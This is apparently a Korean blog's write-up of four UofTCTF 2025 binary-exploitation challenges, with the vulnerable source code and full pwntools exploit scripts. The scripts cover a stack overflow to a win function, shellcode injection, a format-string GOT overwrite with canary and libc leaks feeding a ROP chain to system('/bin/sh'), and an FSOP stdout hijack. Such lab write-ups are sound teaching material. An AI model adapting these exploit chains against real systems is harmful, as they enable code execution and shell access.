Notice
Recent Posts
Recent Comments
Link
«   2026/03   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

Void

UofTCTF 2025 - Pwn (4/6) 본문

CTF

UofTCTF 2025 - Pwn (4/6)

pdw0412 2025. 1. 15. 19:39

- Baby Pwn (461/1510 Solves)

- Baby Pwn 2 (266/1510 Solves)

- Echo (55/1510 Solves)

- Book Editor (28/1510 Solves)

- Counting Sort (25/1510 Solves)

- Hash Table As a Service (15/1510 Solves)

 

You can find author's write-up here ↓

https://github.com/UofTCTF/uoftctf-2025-chals-public

 

GitHub - UofTCTF/uoftctf-2025-chals-public: Challenge handouts, source code, and solutions for UofTCTF 2025

Challenge handouts, source code, and solutions for UofTCTF 2025 - UofTCTF/uoftctf-2025-chals-public

github.com

 

Baby Pwn (461/1510 Solves)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void secret()
{
    printf("Congratulations! Here is your flag: ");
    char *argv[] = {"/bin/cat", "flag.txt", NULL};
    char *envp[] = {NULL};
    execve("/bin/cat", argv, envp);
}

void vulnerable_function()
{
    char buffer[64];
    printf("Enter some text: ");
    fgets(buffer, 128, stdin);
    printf("You entered: %s\n", buffer);
}

int main()
{
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("Welcome to the Baby Pwn challenge!\n");
    printf("Address of secret: %p\n", secret);
    vulnerable_function();
    printf("Goodbye!\n");
    return 0;
}

 

bof가 발생한다. vulnerable_function()의 ret에 secret()을 넣어주면 flag를 얻을 수 있다.

 

 

from pwn import *

p=process('./baby-pwn')
e=ELF('./baby-pwn')

secret=e.symbols['secret']
p.send(p64(secret)*0x10)

p.interactive()

 

 

 

 

Baby Pwn 2 (266/1510 Solves)

#include <stdio.h>
#include <string.h>

void vulnerable_function()
{
    char buffer[64];
    printf("Stack address leak: %p\n", buffer);
    printf("Enter some text: ");
    fgets(buffer, 128, stdin);
}

int main()
{
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("Welcome to the baby pwn 2 challenge!\n");
    vulnerable_function();
    printf("Goodbye!\n");
    return 0;
}

 

buf의 주소를 출력해주고 bof가 발생한다. NX가 없기 때문에 buffer에 쉘코드 넣어주고 ret를 buf로 바꾸면 된다.

 

 

from pwn import *

context(arch='amd64', os='linux')

p=process('./baby-pwn-2')

p.recvuntil(b'Stack address leak: ')
stack=int(p.recvline()[:-1].decode(), 16)

payload=asm(shellcraft.execve('/bin/sh')).ljust(0x30, b'\x00')+p64(stack)*0x50
p.send(payload)

p.interactive()

 

 

 

 

Echo (55/1510 Solves)

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  vuln(0LL);
  return 0;
}

 

int vuln()
{
  char buf; // [rsp+7h] [rbp-9h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read(0, &buf, 0x100uLL);
  return printf(&buf);
}

 

$ checksec chall
[*] '/home/pdw0412/CTF/UofTCTF2025/pwn/Echo/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

 

fsb, bof가 발생한다. 그런데 카나리때문에 __stack_chk_fail이 호출될 것이다. 하지만 fsb가 발생하고, partial relro이기 때문에 __stack_chk_fail의 got를 main으로 overwrite하면 무한 호출이 가능하다.

 

 

pwndbg> x/40gx $rsp
0x7fff21e1daf0: 0x0a007fff21e1db00      0xa5ebf1c3dcb15900
0x7fff21e1db00: 0x00007fff21e1db20      0x00005627fb52c275
0x7fff21e1db10: 0x00007fff21e1dc00      0x0000000021e1dc48
0x7fff21e1db20: 0x00007fff21e1dbc0      0x00007f762c2281ca

 

read()를 실행한 이후 상태이다. rsp+0x18에 code 주소가 있다. 하위 12bit는 고정이므로 1/16 확률로 저 주소를 got 주소로 변경할 수 있다. 이후 got를 mian으로 변경하면 된다. 이후 'aa'로 카나리 leak, fsb로 libc_base leak한 이후 rop하면 쉘을 얻을 수 있다.

 

 

from pwn import *

def log(n, a) : print('[*]', n, ':', hex(a))

context.log_level='error'

l=ELF('./libc.so.6')

while True :
    try :
        p=process('./chall', env={'LD_PRELOAD':'./libc.so.6'})
        
        #got overwrite : __stack_chk_fail -> main
        payload=b'%4681c%9$hn'.ljust(0x11, b'\x00')+p64(0x4018)[:2]
        p.send(payload)

        #canary leak
        sleep(0.1)
        p.send(b'aa')

        p.recvuntil(b'aa')
        canary=u64(b'\x00'+p.recvn(7))
        log('canary', canary)
        p.recv()

        #libc leak
        sleep(0.1)
        p.send(b'%39$p\x00')
        libc_base=int(p.recv().decode(), 16)-0x24c000
        log('libc_base', libc_base)

        #rop
        ret=libc_base+0x000000000002882f
        pop_rdi=libc_base+0x000000000010f75b
        system=libc_base+l.symbols['system']
        binsh=libc_base+next(l.search(b'/bin/sh'))

        payload=b'a'+p64(canary)+p64(1)
        payload+=p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
        p.send(payload)

        p.interactive()

        break
    except :
        try : p.close()
        except : pass

 

 

 

Book Editor (28/1510 Solves)

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+8h] [rbp-8h]
  int Choice; // [rsp+Ch] [rbp-4h]

  setup(argc, argv, envp);
  printf("How long will your book be: ");
  __isoc99_scanf("%ld", &bookSize);
  book = malloc(bookSize);
  printf("Contents of the book: ");
  read(0, book, bookSize);
  v4 = 1;
  while ( v4 )
  {
    menu();
    Choice = getChoice();
    if ( Choice == 3 )
    {
      v4 = 0;
    }
    else
    {
      if ( Choice > 3 )
        goto LABEL_10;
      if ( Choice == 1 )
      {
        editBook();
      }
      else if ( Choice == 2 )
      {
        readBook();
      }
      else
      {
LABEL_10:
        puts("That is not an option");
      }
    }
  }
  return 0;
}

 

unsigned __int64 editBook()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Where do you want to edit: ");
  __isoc99_scanf("%d", &v1);
  while ( getchar() != 10 )
    ;
  if ( v1 < bookSize )
  {
    printf("What do you want to edit: ");
    printf("%p", (const void *)(-v1 + bookSize - 1));
    read(0, (char *)book + v1, -v1 + bookSize - 1);
  }
  else
  {
    printf("Please dont edit ouside of the book.");
  }
  return v2 - __readfsqword(0x28u);
}

 

int readBook()
{
  return printf("Here is your book: %s\n", (const char *)book);
}

 

main() 에서 bookSize를 입력받고, 그만큼 malloc() 한다. 여기서 bookSize를 -1로 설정하면 malloc()은 0을 리턴한다. editBook()을 보면, book+v1에 입력을 받는데, book이 0이므로 원하는 곳에 입력을 할 수 있다. 그럼 book주소에 원하는 값을 쓸 수 있고, readBook()에서 *book을 출력하므로 book에 got주소를 넣으면 libc leak을 할 수 있다.

 

 

from pwn import *

def log(n, a) : print('[*]', n, ':', hex(a))

def Edit(address, data) :
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'Where do you want to edit: ', str(address).encode())
    p.sendafter(b'What do you want to edit: ', data)

def Read() :
    p.sendlineafter(b'> ', b'2')
    p.recvuntil(b'Here is your book: ')
    return p.recvline()[:-1]

context(arch='amd64', os='linux')

p=process('./chall', env={'LD_PRELOAD':'./libc.so.6'})
e=ELF('./chall')
l=ELF('./libc.so.6')

book=e.symbols['book']
got_puts=e.got['puts']

p.sendlineafter(b'How long will your book be: ', b'-1')

Edit(book, p64(got_puts))
libc_base=u64(Read()+b'\x00'*2)-l.symbols['puts']
log('libc_base', libc_base)

 

libc leak을 진행한 이후, 다양한 풀이가 있을 수 있다. libc leak과 동일한 방법으로 environ으로 스택 주소를 leak해 rop를 할 수도 있고, fsop를 할 수도 있다. editBook() 호출 이후 menu()에서 puts가 실행되기 때문에 fsop로 쉘을 얻었다.

 

 

from pwn import *

def log(n, a) : print('[*]', n, ':', hex(a))

def Edit(address, data) :
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'Where do you want to edit: ', str(address).encode())
    p.sendafter(b'What do you want to edit: ', data)

def Read() :
    p.sendlineafter(b'> ', b'2')
    p.recvuntil(b'Here is your book: ')
    return p.recvline()[:-1]

context(arch='amd64', os='linux')

p=process('./chall', env={'LD_PRELOAD':'./libc.so.6'})
e=ELF('./chall')
l=ELF('./libc.so.6')

book=e.symbols['book']
got_puts=e.got['puts']

p.sendlineafter(b'How long will your book be: ', b'-1')

Edit(book, p64(got_puts))
libc_base=u64(Read()+b'\x00'*2)-l.symbols['puts']
log('libc_base', libc_base)

system=libc_base+l.symbols['system']
binsh=libc_base+list(l.search(b'/bin/sh'))[0]
stdout=libc_base+l.symbols['_IO_2_1_stdout_']
stdout_lock=libc_base+0x206000
fake_vtable=libc_base+l.symbols['_IO_wfile_jumps']-0x18
gadget=libc_base+0x00000000001724f0

fsop=FileStructure(0)
fsop.flags=0x0101010101010101
fsop._IO_read_end=system
fsop._IO_save_base=gadget
fsop._IO_write_end=u64(b'/bin/sh\x00')
fsop._lock=stdout_lock
fsop._codecvt=stdout+0xb8
fsop._wide_data=stdout+0x200
fsop.unknown2=p64(0)*2+p64(stdout+0x20)+p64(0)*3+p64(fake_vtable)

Edit(-got_puts+book, p64(stdout-0x10))
Edit(0x10, bytes(fsop))

p.interactive()

 

 

 

 

 

Counting Sort (25/1510 Solves)

I didn't solve it yet.

 

 

Hash Table As a Service (15/1510 Solves)

I didn't solve it yet.

 

'CTF' 카테고리의 다른 글

CCE 2024 Quals | Pwn - Untrusted Compiler  (0) 2025.02.03
YISF 2024 Finals | Pwn - Happy SIGnal  (0) 2025.01.21
Layer7 CTF 2024  (0) 2025.01.13
제 5회 JBU-CTF  (1) 2024.12.16
LG U+ Security Hackathon : Growth Security 2024 Quals  (0) 2024.11.17